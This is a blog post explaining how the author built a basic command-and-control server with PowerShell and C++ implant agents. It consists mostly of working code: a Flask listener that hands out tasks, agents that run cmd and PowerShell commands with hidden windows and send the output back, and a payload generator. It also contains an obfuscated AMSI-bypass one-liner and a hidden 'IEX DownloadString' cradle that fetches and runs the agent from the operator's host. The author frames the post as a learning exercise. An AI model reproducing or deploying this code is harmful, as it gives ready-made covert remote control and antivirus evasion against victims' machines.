Building a Basic C2
Introduction
It’s very common that after successful exploitation an attacker would put an agent that maintains communication with a c2 server on the compromised system, and the reason for that is very simple, having an agent that provides persistency over large periods and almost all the capabilities an attacker would need to perform lateral movement and other post-exploitation actions is better than having a reverse shell for example. There are a lot of free open source post-exploitation toolsets that provide this kind of capability, like Metasploit, Empire and many others, and even if you only play CTFs it’s most likely that you have used one of those before.
Long story short, I only had a general idea about how these tools work and I wanted to understand the internals of them, so I decided to try and build one on my own. For the last three weeks, I have been searching and coding, and I came up with a very basic implementation of a c2 server and an agent. In this blog post I’m going to explain the approaches I took to build the different pieces of the tool.
Please keep in mind that some of these approaches might not be the best and also the code might be kind of messy, If you have any suggestions for improvements feel free to contact me, I’d like to know what better approaches I could take. I also like to point out that this is not a tool to be used in real engagements, besides only doing basic actions like executing cmd
and powershell
, I didn’t take in consideration any opsec precautions.
This tool is still a work in progress, I finished the base but I’m still going to add more execution methods and more capabilities to the agent. After adding new features I will keep writing posts similar to this one, so that people with more experience give feedback and suggest improvements, while people with less experience learn.
You can find the tool on github.
Overview
About c2 servers / agents
As far as I know,
A basic c2 server should be able to:
- Start and stop listeners.
- Generate payloads.
- Handle agents and task them to do stuff.
An agent should be able to:
- Download and execute its tasks.
- Send results.
- Persist.
A listener should be able to:
- Handle multiple agents.
- Host files.
And all communications should be encrypted.
About the Tool
The server itself is written in python3
, I wrote two agents, one in c++
and the other in powershell
, listeners are http
listeners.
I couldn’t come up with a nice name so I would appreciate suggestions.
Listeners
Basic Info
Listeners are the core functionality of the server because they provide the way of communication between the server and the agents. I decided to use http
listeners, and I used flask
to create the listener application.
A Listener
object is instantiated with a name, a port and an IP
address to bind to:
class Listener:
def __init__(self, name, port, ipaddress):
self.name = name
self.port = port
self.ipaddress = ipaddress
...
Then it creates the needed directories to store files, and other data like the encryption key and agents’ data:
...
self.Path = "data/listeners/{}/".format(self.name)
self.keyPath = "{}key".format(self.Path)
self.filePath = "{}files/".format(self.Path)
self.agentsPath = "{}agents/".format(self.Path)
...
if os.path.exists(self.Path) == False:
os.mkdir(self.Path)
if os.path.exists(self.agentsPath) == False:
os.mkdir(self.agentsPath)
if os.path.exists(self.filePath) == False:
os.mkdir(self.filePath)
...
After that it creates a key, saves it and stores it in a variable (more on generateKey()
in the encryption part):
...
if os.path.exists(self.keyPath) == False:
key = generateKey()
self.key = key
with open(self.keyPath, "wt") as f:
f.write(key)
else:
with open(self.keyPath, "rt") as f:
self.key = f.read()
...
The Flask Application
The flask application which provides all the functionality of the listener has 5 routes: /reg
, /tasks/<name>
, /results/<name>
, /download/<name>
, /sc/<name>
.
/reg
/reg
is responsible for handling new agents, it only accepts POST
requests and it takes two parameters: name
and type
. name
is for the hostname
while type
is for the agent’s type.
When it receives a new request it creates a random string of 6 uppercase letters as the new agent’s name (that name can be changed later), then it takes the hostname
and the agent’s type from the request parameters. It also saves the remote address of the request which is the IP
address of the compromised host.
With these information it creates a new Agent
object and saves it to the agents database, and finally it responds with the generated random name so that the agent on the other side can know its name.
@self.app.route("/reg", methods=['POST'])
def registerAgent():
name = ''.join(choice(ascii_uppercase) for i in range(6))
remoteip = flask.request.remote_addr
hostname = flask.request.form.get("name")
Type = flask.request.form.get("type")
success("Agent {} checked in.".format(name))
writeToDatabase(agentsDB, Agent(name, self.name, remoteip, hostname, Type, self.key))
return (name, 200)
/tasks/<name>
/tasks/<name>
is the endpoint that agents request to download their tasks, <name>
is a placeholder for the agent’s name, it only accepts GET
requests.
It simply checks if there are new tasks (by checking if the tasks file exists), if there are new tasks it responds with the tasks, otherwise it sends an empty response (204
).
@self.app.route("/tasks/<name>", methods=['GET'])
def serveTasks(name):
if os.path.exists("{}/{}/tasks".format(self.agentsPath, name)):
with open("{}{}/tasks".format(self.agentsPath, name), "r") as f:
task = f.read()
clearAgentTasks(name)
return(task,200)
else:
return ('',204)
/results/<name>
/results/<name>
is the endpoint that agents request to send results, <name>
is a placeholder for the agent’s name, it only accepts POST
requests and it takes one parameter: result
for the results.
It takes the results and sends them to a function called displayResults()
(more on that function in the agent handler part), then it sends an empty response 204
.
@self.app.route("/results/<name>", methods=['POST'])
def receiveResults(name):
result = flask.request.form.get("result")
displayResults(name, result)
return ('',204)
/download/<name>
/download/<name>
is responsible for downloading files, <name>
is a placeholder for the file name, it only accepts GET
requests.
It reads the requested file from the files path and it sends it.
@self.app.route("/download/<name>", methods=['GET'])
def sendFile(name):
f = open("{}{}".format(self.filePath, name), "rt")
data = f.read()
f.close()
return (data, 200)
/sc/<name>
/sc/<name>
is just a wrapper around the /download/<name>
endpoint for powershell
scripts, it responds with a download cradle prepended with a oneliner to bypass AMSI
, the oneliner downloads the original script from /download/<name>
, <name>
is a placeholder for the script name, it only accepts GET
requests.
It takes the script name, creates a download cradle in the following format:
IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/download/SCRIPT_NAME')
and prepends that with the oneliner and responds with the full line.
@self.app.route("/sc/<name>", methods=['GET'])
def sendScript(name):
amsi = "sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](\"{1}{0}\"-F'F','rE' ) ) ; ( GeT-VariaBle ( \"1Q2U\" +\"zX\" ) -VaL).\"A`ss`Embly\".\"GET`TY`Pe\"(( \"{6}{3}{1}{4}{2}{0}{5}\" -f'Util','A','Amsi','.Management.','utomation.','s','System' )).\"g`etf`iElD\"( ( \"{0}{2}{1}\" -f'amsi','d','InitFaile' ),(\"{2}{4}{0}{1}{3}\" -f 'Stat','i','NonPubli','c','c,' )).\"sE`T`VaLUE\"(${n`ULl},${t`RuE} ); "
oneliner = "{}IEX(New-Object Net.WebClient).DownloadString(\'http://{}:{}/download/{}\')".format(amsi,self.ipaddress,str(self.port),name)
return (oneliner, 200)
Starting and Stopping
I had to start listeners in threads, however flask
applications don’t provide a reliable way to stop the application once started, the only way was to kill the process, but killing threads wasn’t also so easy, so what I did was creating a Process
object for the function that starts the application, and a thread that starts that process which means that terminating the process would kill the thread and stop the application.
...
def run(self):
self.app.logger.disabled = True
self.app.run(port=self.port, host=self.ipaddress)
...
def start(self):
self.server = Process(target=self.run)
cli = sys.modules['flask.cli']
cli.show_server_banner = lambda *x: None
self.daemon = threading.Thread(name = self.name,
target = self.server.start,
args = ())
self.daemon.daemon = True
self.daemon.start()
self.isRunning = True
def stop(self):
self.server.terminate()
self.server = None
self.daemon = None
self.isRunning = False
...
Agents
Basic Info
As mentioned earlier, I wrote two agents, one in powershell
and the other in c++
. Before going through the code of each one, let me talk about what agents do.
When an agent is executed on a system, first thing it does is get the hostname of that system then send the registration request to the server (/reg
as discussed earlier).
After receiving the response which contains its name it starts an infinite loop in which it keeps checking if there are any new tasks, if there are new tasks it executes them and sends the results back to the server.
After each loop it sleeps for a specified amount of time that’s controlled by the server, the default sleep time is 3 seconds.
We can represent that in pseudo code like this:
get hostname
send [hostname, type], get name
loop{
check if there are any new tasks
if new_tasks{
execute tasks
send results
}
else{
do nothing
}
sleep n
}
So far, agents can only do two basic things, execute cmd
and powershell
.
PowerShell Agent
I won’t talk about the crypto functions here, I will leave that for the encryption part.
First 5 lines of the agent are just the basic variables which are the IP
address, port, key, name and the time to sleep:
$ip = "REPLACE_IP"
$port = "REPLACE_PORT"
$key = "REPLACE_KEY"
$n = 3
$name = ""
As mentioned earlier, It gets the hostname, sends the registration request and receives its name:
$hname = [System.Net.Dns]::GetHostName()
$type = "p"
$regl = ("http" + ':' + "//$ip" + ':' + "$port/reg")
$data = @{
name = "$hname"
type = "$type"
}
$name = (Invoke-WebRequest -UseBasicParsing -Uri $regl -Body $data -Method 'POST').Content
Based on the received name it creates the variables for the tasks uri
and the results uri
:
$resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name")
$taskl = ("http" + ':' + "//$ip" + ':' + "$port/tasks/$name")
Then it starts the infinite loop:
for (;;){
...
sleep $n
}
Let’s take a look inside the loop, first thing it does is request new tasks, we know that if there are no new tasks the server will respond with a 204
empty response, so it checks if the response is not null or empty and based on that it decides whether to execute the task execution code block or just sleep again:
$task = (Invoke-WebRequest -UseBasicParsing -Uri $taskl -Method 'GET').Content
if (-Not [string]::IsNullOrEmpty($task)){
Inside the task execution code block it takes the encrypted response and decrypts it, splits it then saves the first word in a variable called flag:
$task = Decrypt $key $task
$task = $task.split()
$flag = $task[0]
If the flag was VALID
it will continue, otherwise it will sleep again. This ensures that the data has been decrypted correctly.
if ($flag -eq "VALID"){
After ensuring that the data is valid, it takes the command it’s supposed to execute and the arguments:
$command = $task[1]
$args = $task[2..$task.Length]
There are 5 valid commands, shell
, powershell
, rename
, sleep
and quit
.
shell
executes cmd
commands, powershell
executes powershell
commands, rename
changes the agent’s name, sleep
changes the sleep time and quit
just exits.
Let’s take a look at each one of them. The shell
and powershell
commands basically rely on the same function called shell
, so let’s look at that first:
function shell($fname, $arg){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = $fname
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = $arg
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
$res = "VALID $stdout`n$stderr"
$res
}
It starts a new process with the given file name whether it was cmd.exe
or powershell.exe
and passes the given arguments, then it receives stdout
and stderr
and returns the result which is the VALID
flag appended with stdout
and stderr
separated by a newline.
Now back to the shell
and powershell
commands, both of them call shell()
with the corresponding file name, receive the output, encrypt it and send it:
if ($command -eq "shell"){
$f = "cmd.exe"
$arg = "/c "
foreach ($a in $args){ $arg += $a + " " }
$res = shell $f $arg
$res = Encrypt $key $res
$data = @{result = "$res"}
Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'
}
elseif ($command -eq "powershell"){
$f = "powershell.exe"
$arg = "/c "
foreach ($a in $args){ $arg += $a + " " }
$res = shell $f $arg
$res = Encrypt $key $res
$data = @{result = "$res"}
Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'
}
The sleep
command updates the n
variable then sends an empty result indicating that it completed the task:
elseif ($command -eq "sleep"){
$n = [int]$args[0]
$data = @{result = ""}
Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'
}
The rename
command updates the name
variable and updates the tasks and results uri
s, then it sends an empty result indicating that it completed the task:
elseif ($command -eq "rename"){
$name = $args[0]
$resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name")
$taskl = ("http" + ':' + "//$ip" + ':' + "$port/tasks/$name")
$data = @{result = ""}
Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'
}
The quit
command just exits:
elseif ($command -eq "quit"){
exit
}
C++ Agent
The same logic is applied in the c++ agent so I will skip the unnecessary parts and only talk about the http
functions and the shell
function.
Sending http
requests wasn’t as easy as it was in powershell
, I used the winhttp
library and with the help of the Microsoft documentation I created two functions, one for sending GET
requests and the other for sending POST
requests. And they’re almost the same function so I guess I will rewrite them to be one function later.
std::string Get(std::string ip, unsigned int port, std::string uri)
{
std::wstring sip = get_utf16(ip, CP_UTF8);
std::wstring suri = get_utf16(uri, CP_UTF8);
std::string response;
LPSTR pszOutBuffer;
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
BOOL bResults = FALSE;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
hSession = WinHttpOpen(L"test",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);
if (hSession) {
hConnect = WinHttpConnect(hSession,
sip.c_str(),
port,
0);
}
if (hConnect) {
hRequest = WinHttpOpenRequest(hConnect,
L"GET", suri.c_str(),
NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
0);
}
if (hRequest) {
bResults = WinHttpSendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0,
WINHTTP_NO_REQUEST_DATA,
0,
0,
0);
}
if (bResults) {
bResults = WinHttpReceiveResponse(hRequest, NULL);
}
if (bResults)
{
do
{
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){}
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
dwSize = 0;
}
else
{
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {}
else {
response = response + std::string(pszOutBuffer);
delete[] pszOutBuffer;
}
}
} while (dwSize > 0);
}
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
return response;
}
std::string Post(std::string ip, unsigned int port, std::string uri, std::string dat)
{
LPSTR data = const_cast<char*>(dat.c_str());;
DWORD data_len = strlen(data);
LPCWSTR additionalHeaders = L"Content-Type: application/x-www-form-urlencoded\r\n";
DWORD headersLength = -1;
std::wstring sip = get_utf16(ip, CP_UTF8);
std::wstring suri = get_utf16(uri, CP_UTF8);
std::string response;
LPSTR pszOutBuffer;
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
BOOL bResults = FALSE;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
hSession = WinHttpOpen(L"test",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0);
if (hSession) {
hConnect = WinHttpConnect(hSession,
sip.c_str(),
port,
0);
}
if (hConnect) {
hRequest = WinHttpOpenRequest(hConnect,
L"POST", suri.c_str(),
NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
0);
}
if (hRequest) {
bResults = WinHttpSendRequest(hRequest,
additionalHeaders,
headersLength,
(LPVOID)data,
data_len,
data_len,
0);
}
if (bResults) {
bResults = WinHttpReceiveResponse(hRequest, NULL);
}
if (bResults)
{
do
{
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){}
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
dwSize = 0;
}
else
{
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {}
else {
response = response + std::string(pszOutBuffer);
delete[] pszOutBuffer;
}
}
} while (dwSize > 0);
}
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
return response;
}
The shell
function does the almost the same thing as the shell
function in the other agent, some of the code is taken from Stack Overflow and I edited it:
CStringA shell(const wchar_t* cmd)
{
CStringA result;
HANDLE hPipeRead, hPipeWrite;
SECURITY_ATTRIBUTES saAttr = {sizeof(SECURITY_ATTRIBUTES)};
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
if (!CreatePipe(&hPipeRead, &hPipeWrite, &saAttr, 0))
return result;
STARTUPINFOW si = {sizeof(STARTUPINFOW)};
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdOutput = hPipeWrite;
si.hStdError = hPipeWrite;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = { 0 };
BOOL fSuccess = CreateProcessW(NULL, (LPWSTR)cmd, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (! fSuccess)
{
CloseHandle(hPipeWrite);
CloseHandle(hPipeRead);
return result;
}
bool bProcessEnded = false;
for (; !bProcessEnded ;)
{
bProcessEnded = WaitForSingleObject( pi.hProcess, 50) == WAIT_OBJECT_0;
for (;;)
{
char buf[1024];
DWORD dwRead = 0;
DWORD dwAvail = 0;
if (!::PeekNamedPipe(hPipeRead, NULL, 0, NULL, &dwAvail, NULL))
break;
if (!dwAvail)
break;
if (!::ReadFile(hPipeRead, buf, min(sizeof(buf) - 1, dwAvail), &dwRead, NULL) || !dwRead)
break;
buf[dwRead] = 0;
result += buf;
}
}
CloseHandle(hPipeWrite);
CloseHandle(hPipeRead);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return result;
}
I would like to point out an important option in the process created by the shell
function which is:
si.wShowWindow = SW_HIDE;
This is responsible for hiding the console window, this is also added in the main()
function of the agent to hide the console window:
int main(int argc, char const *argv[])
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
...
Agent Handler
Now that we’ve talked about the agents, let’s go back to the server and take a look at the agent handler.
An Agent
object is instantiated with a name, a listener name, a remote address, a hostname, a type and an encryption key:
class Agent:
def __init__(self, name, listener, remoteip, hostname, Type, key):
self.name = name
self.listener = listener
self.remoteip = remoteip
self.hostname = hostname
self.Type = Type
self.key = key
Then it defines the sleep time which is 3 seconds by default as discussed, it needs to keep track of the sleep time to be able to determine if an agent is dead or not when removing an agent, otherwise it will keep waiting for the agent to call forever:
self.sleept = 3
After that it creates the needed directories and files:
self.Path = "data/listeners/{}/agents/{}/".format(self.listener, self.name)
self.tasksPath = "{}tasks".format(self.Path, self.name)
if os.path.exists(self.Path) == False:
os.mkdir(self.Path)
And finally it creates the menu for the agent, but I won’t cover the Menu
class in this post because it doesn’t relate to the core functionality of the tool.
self.menu = menu.Menu(self.name)
self.menu.registerCommand("shell", "Execute a shell command.", "<command>")
self.menu.registerCommand("powershell", "Execute a powershell command.", "<command>")
self.menu.registerCommand("sleep", "Change agent's sleep time.", "<time (s)>")
self.menu.registerCommand("clear", "Clear tasks.", "")
self.menu.registerCommand("quit", "Task agent to quit.", "")
self.menu.uCommands()
self.Commands = self.menu.Commands
I won’t talk about the wrapper functions because we only care about the core functions.
First function is the writeTask()
function, which is a quite simple function, it takes the task and prepends it with the VALID
flag then it writes it to the tasks path:
def writeTask(self, task):
if self.Type == "p":
task = "VALID " + task
task = ENCRYPT(task, self.key)
elif self.Type == "w":
task = task
with open(self.tasksPath, "w") as f:
f.write(task)
As you can see, it only encrypts the task in case of powershell
agent only, that’s because there’s no encryption in the c++
agent (more on that in the encryption part).
Second function I want to talk about is the clearTasks()
function which just deletes the tasks
file, very simple:
def clearTasks(self):
if os.path.exists(self.tasksPath):
os.remove(self.tasksPath)
else:
pass
Third function is a very important function called update()
, this function gets called when an agent is renamed and it updates the paths. As seen earlier, the paths depend on the agent’s name, so without calling this function the agent won’t be able to download its tasks.
def update(self):
self.menu.name = self.name
self.Path = "data/listeners/{}/agents/{}/".format(self.listener, self.name)
self.tasksPath = "{}tasks".format(self.Path, self.name)
if os.path.exists(self.Path) == False:
os.mkdir(self.Path)
The remaining functions are wrappers that rely on these functions or helper functions that rely on the wrappers. One example is the shell
function which just takes the command and writes the task:
def shell(self, args):
if len(args) == 0:
error("Missing command.")
else:
command = " ".join(args)
task = "shell " + command
self.writeTask(task)
The last function I want to talk about is a helper function called displayResults
which takes the sent results and the agent name. If the agent is a powershell
agent it decrypts the results and checks their validity then prints them, otherwise it will just print the results:
def displayResults(name, result):
if isValidAgent(name,0) == True:
if result == "":
success("Agent {} completed task.".format(name))
else:
key = agents[name].key
if agents[name].Type == "p":
try:
plaintext = DECRYPT(result, key)
except:
return 0
if plaintext[:5] == "VALID":
success("Agent {} returned results:".format(name))
print(plaintext[6:])
else:
return 0
else:
success("Agent {} returned results:".format(name))
print(result)
Payloads Generator
Any c2 server would be able to generate payloads for active listeners, as seen earlier in the agents part, we only need to change the IP
address, port and key in the agent template, or just the IP
address and port in case of the c++
agent.
PowerShell
Doing this with the powershell
agent is simple because a powershell
script is just a text file so we just need to replace the strings REPLACE_IP
, REPLACE_PORT
and REPLACE_KEY
.
The powershell
function takes a listener name, and an output name. It grabs the needed options from the listener then it replaces the needed strings in the powershell
template and saves the new file in two places, /tmp/
and the files path for the listener. After doing that it generates a download cradle that requests /sc/
(the endpoint discussed in the listeners part).
def powershell(listener, outputname):
outpath = "/tmp/{}".format(outputname)
ip = listeners[listener].ipaddress
port = listeners[listener].port
key = listeners[listener].key
with open("./lib/templates/powershell.ps1", "rt") as p:
payload = p.read()
payload = payload.replace('REPLACE_IP',ip)
payload = payload.replace('REPLACE_PORT',str(port))
payload = payload.replace('REPLACE_KEY', key)
with open(outpath, "wt") as f:
f.write(payload)
with open("{}{}".format(listeners[listener].filePath, outputname), "wt") as f:
f.write(payload)
oneliner = "powershell.exe -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString(\'http://{}:{}/sc/{}\')\"".format(ip, str(port), outputname)
success("File saved in: {}".format(outpath))
success("One liner: {}".format(oneliner))
Windows Executable (C++ Agent)
It wasn’t as easy as it was with the powershell
agent, because the c++
agent would be a compiled PE executable.
It was a huge problem and I spent a lot of time trying to figure out what to do, that was when I was introduced to the idea of a stub.
The idea is to append whatever data that needs to be dynamically assigned to the executable, and design the program in a way that it reads itself and pulls out the appended information.
In the source of the agent I added a few lines of code that do the following:
- Open the file as a file stream.
- Move to the end of the file.
- Read 2 lines.
- Save the first line in the
IP
variable. - Save the second line in the port variable.
- Close the file stream.
std::ifstream ifs(argv[0]);
ifs.seekg(TEMPLATE_EOF);
std::getline(ifs, ip);
std::getline(ifs, sPort);
ifs.close();
To get the right EOF
I had to compile the agent first, then update the agent source and compile again according to the size of the file.
For example this is the current definition of TEMPLATE_EOF
for the x64
agent:
#define TEMPLATE_EOF 52736
If we take a look at the size of the file we’ll find that it’s the same:
# ls -la
-rwxrwxr-x 1 ... ... 52736 ... ... ... winexe64.exe
The winexe
function takes a listener name, an architecture and an output name, grabs the needed options from the listener and appends them to the template corresponding to the selected architecture and saves the new file in /tmp
:
def winexe(listener, arch, outputname):
outpath = "/tmp/{}".format(outputname)
ip = listeners[listener].ipaddress
port = listeners[listener].port
if arch == "x64":
copyfile("./lib/templates/winexe/winexe64.exe", outpath)
elif arch == "x32":
copyfile("./lib/templates/winexe/winexe32.exe", outpath)
with open(outpath, "a") as f:
f.write("{}\n{}".format(ip,port))
success("File saved in: {}".format(outpath))
Encryption
I’m not very good at cryptography so this part was the hardest of all. At first I wanted to use AES
and do Diffie-Hellman key exchange between the server and the agent. However I found that powershell
can’t deal with big integers without the .NET
class BigInteger
, and because I’m not sure that the class would be always available I gave up the idea and decided to hardcode the key while generating the payload because I didn’t want to risk the compatibility of the agent. I could use AES
in powershell
easily, however I couldn’t do the same in c++
, so I decided to use a simple xor
but again there were some issues, that’s why the winexe
agent won’t be using any encryption until I figure out what to do.
Let’s take a look at the crypto functions in both the server and the powershell
agent.
Server
The AESCipher
class uses the AES
class from the pycrypto
library, it uses AES CBC 256
.
An AESCipher
object is instantiated with a key, it expects the key to be base-64
encoded:
class AESCipher:
def __init__(self, key):
self.key = base64.b64decode(key)
self.bs = AES.block_size
There are two functions to pad and unpad the text with zeros to match the block size:
def pad(self, s):
return s + (self.bs - len(s) % self.bs) * "\x00"
def unpad(self, s):
s = s.decode("utf-8")
return s.rstrip("\x00")
The encryption function takes plain text, pads it, creates a random IV
, encrypts the plain text and returns the IV
+ the cipher text base-64
encoded:
def encrypt(self, raw):
raw = self.pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return base64.b64encode(iv + cipher.encrypt(raw.encode("utf-8")))
The decryption function does the opposite:
def decrypt(self,enc):
enc = base64.b64decode(enc)
iv = enc[:16]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
plain = cipher.decrypt(enc[16:])
plain = self.unpad(plain)
return plain
I created two wrapper function that rely on the AESCipher
class to encrypt and decrypt data:
def ENCRYPT(PLAIN, KEY):
c = AESCipher(KEY)
enc = c.encrypt(PLAIN)
return enc.decode()
def DECRYPT(ENC, KEY):
c = AESCipher(KEY)
dec = c.decrypt(ENC)
return dec
And finally there’s the generateKey
function which creates a random 32 bytes key and base-64
encodes it:
def generateKey():
key = base64.b64encode(os.urandom(32))
return key.decode()
PowerShell Agent
The powershell
agent uses the .NET
class System.Security.Cryptography.AesManaged
.
First function is the Create-AesManagedObject
which instantiates an AesManaged
object using the given key and IV
. It’s a must to use the same options we decided to use on the server side which are CBC
mode, zeros padding and 32 bytes key length:
function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
After that it checks if the provided key and IV
are of the type String
(which means that the key or the IV
is base-64
encoded), depending on that it decodes the data before using them, then it returns the AesManaged
object.
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
The Encrypt
function takes a key and a plain text string, converts that string to bytes, then it uses the Create-AesManagedObject
function to create the AesManaged
object and it encrypts the string with a random generated IV
.
It returns the cipher text base-64
encoded.
function Encrypt($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.Convert]::ToBase64String($fullData)
}
The opposite of this process happens with the Decrypt
function:
function Decrypt($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
Listeners / Agents Persistency
I used pickle
to serialize agents and listeners and save them in databases, when you exit the server it saves all of the agent objects and listeners, then when you start it again it loads those objects again so you don’t lose your agents or listeners.
For the listeners, pickle
can’t serialize objects that use threads, so instead of saving the objects themselves I created a dictionary that holds all the information of the active listeners and serialized that, the server loads that dictionary and starts the listeners again according to the options in the dictionary.
I created wrapper functions that read, write and remove objects from the databases:
def readFromDatabase(database):
data = []
with open(database, 'rb') as d:
while True:
try:
data.append(pickle.load(d))
except EOFError:
break
return data
def writeToDatabase(database,newData):
with open(database, "ab") as d:
pickle.dump(newData, d, pickle.HIGHEST_PROTOCOL)
def removeFromDatabase(database,name):
data = readFromDatabase(database)
final = OrderedDict()
for i in data:
final[i.name] = i
del final[name]
with open(database, "wb") as d:
for i in final:
pickle.dump(final[i], d , pickle.HIGHEST_PROTOCOL)
Demo
I will show you a quick demo on a Windows Server 2016 target.
This is how the home of the server looks like:
Let’s start by creating a listener:
Now let’s create a payload, I created the three available payloads:
After executing the payloads on the target we’ll see that the agents successfully contacted the server:
Let’s rename the agents:
I executed 4 simple commands on each agent:
Then I tasked each agent to quit.
And that concludes this blog post, as I said before I would appreciate all the feedback and the suggestions so feel free to contact me on twitter @Ahm3d_H3sham.
If you liked the article tweet about it, thanks for reading.